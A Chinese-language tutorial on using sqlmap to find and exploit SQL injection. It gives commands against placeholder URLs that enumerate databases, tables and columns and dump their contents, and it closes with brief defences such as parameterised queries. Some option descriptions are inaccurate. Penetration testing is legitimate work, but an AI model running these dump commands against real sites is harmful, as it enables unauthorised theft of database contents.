SQL注入利器——SQLMAP使用详解

一、SQLMAP简介

SQLMAP是一款自动化的SQL注入工具，它可以自动探测并利用SQL注入漏洞，能够获取数据库中的数据、操作系统甚至是Web服务器。它采用Python语言编写，能够跨平台使用，发现的SQL注入漏洞可以用于利用机器获取数据，解决安全问题。SQLMAP是黑客、安全测试人员、安全研究人员以及安全工程师的必备工具之一。

二、SQLMAP的使用方法

1. SQLMAP的安装

首先需要安装Python环境及python-pip安装包，安装完成后，进入SQLMAP的官网(sqlmap.org)，通过下载源代码的方式进行安装。


$ git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

2. 探测目标是否存在SQL注入漏洞

可以通过向目标网站发送一个POST或者GET请求，验证该网站是否存在SQL注入漏洞。在发现SQL注入漏洞后，可以使用SQLMAP进行利用和攻击。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --level 5

其中，-u表示要探测的目标URL，–method表示请求方法，–level表示探测等级，默认是1。

3. 利用SQLMAP进行SQL注入

通过发现存在SQL注入的目标后，就可以使用SQLMAP进行利用和攻击了。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dbs

通过使用–dbs参数可以列出数据库中所有的数据库名称，通过使用–current-db参数可以查看当前使用的数据库名称。

4. 利用SQLMAP进行数据库数据的读取和注入

可以通过使用–tables参数查询指定数据库的表信息，通过–columns参数查询表的列信息。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --tables -D dbname

通过使用–dump参数可以直接将数据库中的表数据进行导出。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dump -D dbname -T tablename

通过使用–dump-all参数可以直接将整个数据库的数据进行导出。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dump-all -D dbname

三、SQLMAP高级用法

1. HTTP头设置

HTTP头是请求过程中的重要组成部分，它可以通过–headers参数进行设置。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --headers="User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"

2. Cookie设置

Cookie是网站进行用户认证的方式，一般存储在客户端浏览器的Cookie中，通过–cookie参数可以进行设置。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --cookie="PHPSESSID=1234567890"

3. 数据库指纹识别

通过–dbs参数可以进行数据库名称的识别，但是如果目标网站存在多个数据库，就需要通过–fingerprint参数进行指纹识别。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --dbs --fingerprint

4. 使用代理

通过–proxy参数可以使用代理访问目标网站，例如使用socks5代理。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --proxy="socks5://127.0.0.1:1080"

5. 设置扫描等级

通过–level参数可以设置SQL注入扫描的等级，等级越高，发现SQL注入漏洞的效率就越高，但是也会增加误报和误判的可能性。


$ python sqlmap.py -u "http://example.com/login.php?id=1" --method GET --level=5

四、SQLMAP的防御措施

1. 使用参数化查询

通过使用参数化查询，可以将发送给数据库的用户数据与SQL语句分开，避免了将用户数据作为命令传递给数据库执行的风险。

2. 对输入进行严格的校验和过滤

对输入进行严格的校验和过滤，可以防止攻击者利用SQL注入漏洞对系统进行攻击。

3. 删除不必要的登录权限

通过删除不必要的登录权限，可以避免SQL注入攻击者利用管理员账号执行恶意操作的风险。

4. 定时进行安全漏洞扫描和修复

定时进行安全漏洞扫描和修复，可以有效的降低系统被攻击的风险。

总结

SQLMAP是一款可以自动发现SQL注入漏洞并利用的工具，可以用于获取数据库中的数据、操作系统甚至是Web服务器。它采用Python语言编写，能够跨平台使用。在进行SQL注入攻击时，我们也应该采取一些防御措施来保护系统的安全。

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